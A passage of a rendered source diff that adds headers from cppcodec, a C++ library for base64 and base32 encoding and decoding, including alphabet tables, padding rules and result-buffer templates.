||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE64_DEFAULT_URL
|
||||||
|
#define CPPCODEC_BASE64_DEFAULT_URL
|
||||||
|
|
||||||
|
#include "base64_url.hpp"
|
||||||
|
|
||||||
|
using base64 = cppcodec::base64_url;
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE64_DEFAULT_URL
|
|
@ -0,0 +1,31 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2016 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE64_DEFAULT_URL_UNPADDED
|
||||||
|
#define CPPCODEC_BASE64_DEFAULT_URL_UNPADDED
|
||||||
|
|
||||||
|
#include "base64_url_unpadded.hpp"
|
||||||
|
|
||||||
|
using base64 = cppcodec::base64_url_unpadded;
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE64_DEFAULT_URL_UNPADDED
|
|
@ -0,0 +1,82 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE64_RFC4648
|
||||||
|
#define CPPCODEC_BASE64_RFC4648
|
||||||
|
|
||||||
|
#include "detail/codec.hpp"
|
||||||
|
#include "detail/base64.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
static constexpr const char base64_rfc4648_alphabet[] = {
|
||||||
|
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
|
||||||
|
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
|
||||||
|
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
|
||||||
|
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
|
||||||
|
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'
|
||||||
|
};
|
||||||
|
static_assert(sizeof(base64_rfc4648_alphabet) == 64, "base64 alphabet must have 64 values");
|
||||||
|
|
||||||
|
class base64_rfc4648
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template <typename Codec> using codec_impl = stream_codec<Codec, base64_rfc4648>;
|
||||||
|
|
||||||
|
static inline constexpr bool generates_padding() { return true; }
|
||||||
|
static inline constexpr bool requires_padding() { return true; }
|
||||||
|
static inline constexpr char padding_symbol() { return '='; }
|
||||||
|
|
||||||
|
static inline constexpr char symbol(uint8_t index)
|
||||||
|
{
|
||||||
|
return base64_rfc4648_alphabet[index];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline constexpr uint8_t index_of(char c)
|
||||||
|
{
|
||||||
|
return (c >= 'A' && c <= 'Z') ? (c - 'A')
|
||||||
|
: (c >= 'a' && c <= 'z') ? (c - 'a' + 26)
|
||||||
|
: (c >= '0' && c <= '9') ? (c - '0' + 52)
|
||||||
|
: (c == '+') ? (c - '+' + 62)
|
||||||
|
: (c == '/') ? (c - '/' + 63)
|
||||||
|
: (c == padding_symbol()) ? 254
|
||||||
|
: (c == '\0') ? 255 // stop at end of string
|
||||||
|
: throw symbol_error(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
// RFC4648 does not specify any whitespace being allowed in base64 encodings.
|
||||||
|
static inline constexpr bool should_ignore(uint8_t /*index*/) { return false; }
|
||||||
|
static inline constexpr bool is_special_character(uint8_t index) { return index > 64; }
|
||||||
|
static inline constexpr bool is_padding_symbol(uint8_t index) { return index == 254; }
|
||||||
|
static inline constexpr bool is_eof(uint8_t index) { return index == 255; }
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
|
||||||
|
using base64_rfc4648 = detail::codec<detail::base64<detail::base64_rfc4648>>;
|
||||||
|
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE64_RFC4648
|
|
@ -0,0 +1,84 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE64_URL
|
||||||
|
#define CPPCODEC_BASE64_URL
|
||||||
|
|
||||||
|
#include "detail/codec.hpp"
|
||||||
|
#include "detail/base64.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
// The URL and filename safe alphabet is also specified by RFC4648, named "base64url".
|
||||||
|
// We keep the underscore ("base64_url") for consistency with the other codec variants.
|
||||||
|
static constexpr const char base64_url_alphabet[] = {
|
||||||
|
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
|
||||||
|
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
|
||||||
|
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
|
||||||
|
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
|
||||||
|
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '-', '_'
|
||||||
|
};
|
||||||
|
static_assert(sizeof(base64_url_alphabet) == 64, "base64 alphabet must have 64 values");
|
||||||
|
|
||||||
|
class base64_url
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template <typename Codec> using codec_impl = stream_codec<Codec, base64_url>;
|
||||||
|
|
||||||
|
static inline constexpr bool generates_padding() { return true; }
|
||||||
|
static inline constexpr bool requires_padding() { return true; }
|
||||||
|
static inline constexpr char padding_symbol() { return '='; }
|
||||||
|
|
||||||
|
static inline constexpr char symbol(uint8_t index)
|
||||||
|
{
|
||||||
|
return base64_url_alphabet[index];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline constexpr uint8_t index_of(char c)
|
||||||
|
{
|
||||||
|
return (c >= 'A' && c <= 'Z') ? (c - 'A')
|
||||||
|
: (c >= 'a' && c <= 'z') ? (c - 'a' + 26)
|
||||||
|
: (c >= '0' && c <= '9') ? (c - '0' + 52)
|
||||||
|
: (c == '-') ? (c - '-' + 62)
|
||||||
|
: (c == '_') ? (c - '_' + 63)
|
||||||
|
: (c == padding_symbol()) ? 254
|
||||||
|
: (c == '\0') ? 255 // stop at end of string
|
||||||
|
: throw symbol_error(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
// RFC4648 does not specify any whitespace being allowed in base64 encodings.
|
||||||
|
static inline constexpr bool should_ignore(uint8_t /*index*/) { return false; }
|
||||||
|
static inline constexpr bool is_special_character(uint8_t index) { return index > 64; }
|
||||||
|
static inline constexpr bool is_padding_symbol(uint8_t index) { return index == 254; }
|
||||||
|
static inline constexpr bool is_eof(uint8_t index) { return index == 255; }
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
|
||||||
|
using base64_url = detail::codec<detail::base64<detail::base64_url>>;
|
||||||
|
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE64_URL
|
|
@ -0,0 +1,48 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2016 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_BASE64_URL_UNPADDED
|
||||||
|
#define CPPCODEC_BASE64_URL_UNPADDED
|
||||||
|
|
||||||
|
#include "base64_url.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
class base64_url_unpadded : public base64_url
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template <typename Codec> using codec_impl = stream_codec<Codec, base64_url_unpadded>;
|
||||||
|
|
||||||
|
static inline constexpr bool generates_padding() { return false; }
|
||||||
|
static inline constexpr bool requires_padding() { return false; }
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
|
||||||
|
using base64_url_unpadded = detail::codec<detail::base64<detail::base64_url_unpadded>>;
|
||||||
|
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_BASE64_URL_UNPADDED
|
|
@ -0,0 +1,180 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_DETAIL_DATA_ACCESS
|
||||||
|
#define CPPCODEC_DETAIL_DATA_ACCESS
|
||||||
|
|
||||||
|
#include <stdint.h> // for size_t
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
namespace data {
|
||||||
|
|
||||||
|
// This file contains a number of templated data accessors that can be
|
||||||
|
// implemented in the cppcodec::data namespace for types that don't fulfill
|
||||||
|
// the default type requirements:
|
||||||
|
// For result types: init(Result&, ResultState&, size_t capacity),
|
||||||
|
// put(Result&, ResultState&, char), finish(Result&, State&)
|
||||||
|
// For const (read-only) types: char_data(const T&)
|
||||||
|
// For both const and result types: size(const T&)
|
||||||
|
|
||||||
|
template <typename T> inline size_t size(const T& t) { return t.size(); }
|
||||||
|
template <typename T, size_t N> inline constexpr size_t size(const T (&t)[N]) noexcept {
|
||||||
|
return N * sizeof(t[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
class general_t {};
|
||||||
|
class specific_t : public general_t {};
|
||||||
|
|
||||||
|
class empty_result_state {
|
||||||
|
template <typename Result> inline void size(const Result& result) { return size(result); }
|
||||||
|
};
|
||||||
|
|
||||||
|
// SFINAE: Generic fallback in case no specific state function applies.
|
||||||
|
template <typename Result>
|
||||||
|
inline empty_result_state create_state(Result&, general_t) { return empty_result_state(); }
|
||||||
|
|
||||||
|
//
|
||||||
|
// Generic templates for containers: Use these init()/put()/finish()
|
||||||
|
// implementations if no specialization was found.
|
||||||
|
//
|
||||||
|
|
||||||
|
template <typename Result>
|
||||||
|
inline void init(Result& result, empty_result_state&, size_t capacity)
|
||||||
|
{
|
||||||
|
result.resize(0);
|
||||||
|
result.reserve(capacity);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename Result>
|
||||||
|
inline void finish(Result&, empty_result_state&)
|
||||||
|
{
|
||||||
|
// Default is to push_back(), which already increases the size.
|
||||||
|
}
|
||||||
|
|
||||||
|
// For the put() default implementation, we try calling push_back() with either uint8_t or char,
|
||||||
|
// whichever compiles. Scary-fancy template magic from http://stackoverflow.com/a/1386390.
|
||||||
|
namespace fallback {
|
||||||
|
struct flag { char c[2]; }; // sizeof > 1
|
||||||
|
flag put_uint8(...);
|
||||||
|
|
||||||
|
int operator,(flag, flag);
|
||||||
|
template <typename T> void operator,(flag, T&); // map everything else to void
|
||||||
|
char operator,(int, flag); // sizeof 1
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename Result> inline void put_uint8(Result& result, uint8_t c) { result.push_back(c); }
|
||||||
|
|
||||||
|
template <bool> struct put_impl;
|
||||||
|
template <> struct put_impl<true> { // put_uint8() available
|
||||||
|
template<typename Result> static void put(Result& result, uint8_t c) { put_uint8(result, c); }
|
||||||
|
};
|
||||||
|
template <> struct put_impl<false> { // put_uint8() not available
|
||||||
|
template<typename Result> static void put(Result& result, uint8_t c) {
|
||||||
|
result.push_back(static_cast<char>(c));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
template <typename Result> inline void put(Result& result, empty_result_state&, uint8_t c)
|
||||||
|
{
|
||||||
|
using namespace fallback;
|
||||||
|
put_impl<sizeof(fallback::flag(), put_uint8(result, c), fallback::flag()) != 1>::put(result, c);
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Specialization for container types with direct mutable data access.
|
||||||
|
// The expected way to specialize is to subclass empty_result_state and
|
||||||
|
// return an instance of it from a create_state() template specialization.
|
||||||
|
// You can then create overloads for init(), put() and finish()
|
||||||
|
// that are more specific than the empty_result_state ones above.
|
||||||
|
// See the example below for direct access to a mutable data() method.
|
||||||
|
//
|
||||||
|
// If desired, a non-templated overload for both specific types
|
||||||
|
// (result & state) can be added to tailor it to that particular result type.
|
||||||
|
//
|
||||||
|
|
||||||
|
template <typename Result> class direct_data_access_result_state : empty_result_state
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
using result_type = Result;
|
||||||
|
|
||||||
|
inline void init(Result& result, size_t capacity)
|
||||||
|
{
|
||||||
|
// resize(0) is not called here since we don't rely on it
|
||||||
|
result.reserve(capacity);
|
||||||
|
}
|
||||||
|
inline void put(Result& result, char c)
|
||||||
|
{
|
||||||
|
// This only compiles if decltype(data) == char*
|
||||||
|
result.data()[m_offset++] = static_cast<char>(c);
|
||||||
|
}
|
||||||
|
inline void finish(Result& result)
|
||||||
|
{
|
||||||
|
result.resize(m_offset);
|
||||||
|
}
|
||||||
|
inline size_t size(const Result&)
|
||||||
|
{
|
||||||
|
return m_offset;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
size_t m_offset = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
// SFINAE: Select a specific state based on the result type and possible result state type.
|
||||||
|
// Implement this if direct data access (`result.data()[0] = 'x') isn't already possible
|
||||||
|
// and you want to specialize it for your own result type.
|
||||||
|
template <typename Result, typename ResultState =
|
||||||
|
typename direct_data_access_result_state<Result>::result_type::value>
|
||||||
|
inline ResultState create_state(Result&, specific_t) { return ResultState(); }
|
||||||
|
|
||||||
|
template <typename Result>
|
||||||
|
inline void init(Result& result, direct_data_access_result_state<Result>& state, size_t capacity)
|
||||||
|
{
|
||||||
|
state.init(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Specialized put function for direct_data_access_result_state.
|
||||||
|
template <typename Result>
|
||||||
|
inline void put(Result& result, direct_data_access_result_state<Result>& state, char c)
|
||||||
|
{
|
||||||
|
state.put(result, c);
|
||||||
|
}
|
||||||
|
|
||||||
|
// char_data() is only used to read, not for result buffers.
|
||||||
|
template <typename T> inline const char* char_data(const T& t)
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const char*>(t.data());
|
||||||
|
}
|
||||||
|
template <typename T, size_t N> inline const char* char_data(const T (&t)[N]) noexcept
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const char*>(&(t[0]));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename T> inline const uint8_t* uchar_data(const T& t)
|
||||||
|
{
|
||||||
|
return reinterpret_cast<const uint8_t*>(char_data(t));
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace data
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,71 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_DETAIL_RAW_RESULT_BUFFER
|
||||||
|
#define CPPCODEC_DETAIL_RAW_RESULT_BUFFER
|
||||||
|
|
||||||
|
#include <stdint.h> // for size_t
|
||||||
|
#include <stdlib.h> // for abort()
|
||||||
|
|
||||||
|
#include "access.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
namespace data {
|
||||||
|
|
||||||
|
class raw_result_buffer
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
raw_result_buffer(char* data, size_t capacity)
|
||||||
|
: m_ptr(data + capacity)
|
||||||
|
, m_begin(data)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
char last() const { return *(m_ptr - 1); }
|
||||||
|
void push_back(char c) { *m_ptr = c; ++m_ptr; }
|
||||||
|
size_t size() const { return m_ptr - m_begin; }
|
||||||
|
void resize(size_t size) { m_ptr = m_begin + size; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
char* m_ptr;
|
||||||
|
char* m_begin;
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
template <> inline void init<raw_result_buffer>(
|
||||||
|
raw_result_buffer& result, empty_result_state&, size_t capacity)
|
||||||
|
{
|
||||||
|
// This version of init() doesn't do a reserve(), and instead checks whether the
|
||||||
|
// initial size (capacity) is enough before resizing to 0.
|
||||||
|
// The codec is expected not to exceed this capacity.
|
||||||
|
if (capacity > result.size()) {
|
||||||
|
abort();
|
||||||
|
}
|
||||||
|
result.resize(0);
|
||||||
|
}
|
||||||
|
template <> inline void finish<raw_result_buffer>(raw_result_buffer&, empty_result_state&) { }
|
||||||
|
|
||||||
|
} // namespace data
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,148 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Trustifier Inc.
|
||||||
|
* Copyright (C) 2015 Ahmed Masud
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*
|
||||||
|
* Adapted from https://github.com/ahmed-masud/libbase32,
|
||||||
|
* commit 79761b2b79b0545697945efe0987a8d3004512f9.
|
||||||
|
* Quite different now.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_DETAIL_BASE32
|
||||||
|
#define CPPCODEC_DETAIL_BASE32
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h> // for abort()
|
||||||
|
|
||||||
|
#include "../data/access.hpp"
|
||||||
|
#include "../parse_error.hpp"
|
||||||
|
#include "config.hpp"
|
||||||
|
#include "stream_codec.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
template <typename CodecVariant>
|
||||||
|
class base32 : public CodecVariant::template codec_impl<base32<CodecVariant>>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
static inline constexpr uint8_t binary_block_size() { return 5; }
|
||||||
|
static inline constexpr uint8_t encoded_block_size() { return 8; }
|
||||||
|
|
||||||
|
static CPPCODEC_ALWAYS_INLINE constexpr uint8_t num_encoded_tail_symbols(uint8_t num_bytes)
|
||||||
|
{
|
||||||
|
return (num_bytes == 1) ? 2 // 2 symbols, 6 padding characters
|
||||||
|
: (num_bytes == 2) ? 4 // 4 symbols, 4 padding characters
|
||||||
|
: (num_bytes == 3) ? 5 // 5 symbols, 3 padding characters
|
||||||
|
: (num_bytes == 4) ? 7 // 7 symbols, 1 padding characters
|
||||||
|
: throw std::domain_error("invalid number of bytes in a tail block");
|
||||||
|
}
|
||||||
|
|
||||||
|
template <uint8_t I> CPPCODEC_ALWAYS_INLINE static constexpr uint8_t index(
|
||||||
|
const uint8_t* b /*binary block*/)
|
||||||
|
{
|
||||||
|
return (I == 0) ? ((b[0] >> 3) & 0x1F) // first 5 bits
|
||||||
|
: (I == 1) ? (((b[0] << 2) & 0x1C) | ((b[1] >> 6) & 0x3))
|
||||||
|
: (I == 2) ? ((b[1] >> 1) & 0x1F)
|
||||||
|
: (I == 3) ? (((b[1] << 4) & 0x10) | ((b[2] >> 4) & 0xF))
|
||||||
|
: (I == 4) ? (((b[2] << 1) & 0x1E) | ((b[3] >> 7) & 0x1))
|
||||||
|
: (I == 5) ? ((b[3] >> 2) & 0x1F)
|
||||||
|
: (I == 6) ? (((b[3] << 3) & 0x18) | ((b[4] >> 5) & 0x7))
|
||||||
|
: (I == 7) ? (b[4] & 0x1F) // last 5 bits
|
||||||
|
: throw std::domain_error("invalid encoding symbol index in a block");
|
||||||
|
}
|
||||||
|
|
||||||
|
template <uint8_t I> CPPCODEC_ALWAYS_INLINE static constexpr uint8_t index_last(
|
||||||
|
const uint8_t* b /*binary block*/)
|
||||||
|
{
|
||||||
|
return (I == 1) ? ((b[0] << 2) & 0x1C) // abbreviated 2nd symbol
|
||||||
|
: (I == 3) ? ((b[1] << 4) & 0x10) // abbreviated 4th symbol
|
||||||
|
: (I == 4) ? ((b[2] << 1) & 0x1E) // abbreviated 5th symbol
|
||||||
|
: (I == 6) ? ((b[3] << 3) & 0x18) // abbreviated 7th symbol
|
||||||
|
: throw std::domain_error("invalid last encoding symbol index in a tail");
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
static void decode_block(Result& decoded, ResultState&, const uint8_t* idx);
|
||||||
|
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
static void decode_tail(Result& decoded, ResultState&, const uint8_t* idx, size_t idx_len);
|
||||||
|
};
|
||||||
|
|
||||||
|
//
|
||||||
|
// 11111111 10101010 10110011 10111100 10010100
|
||||||
|
// => 11111 11110 10101 01011 00111 01111 00100 10100
|
||||||
|
//
|
||||||
|
|
||||||
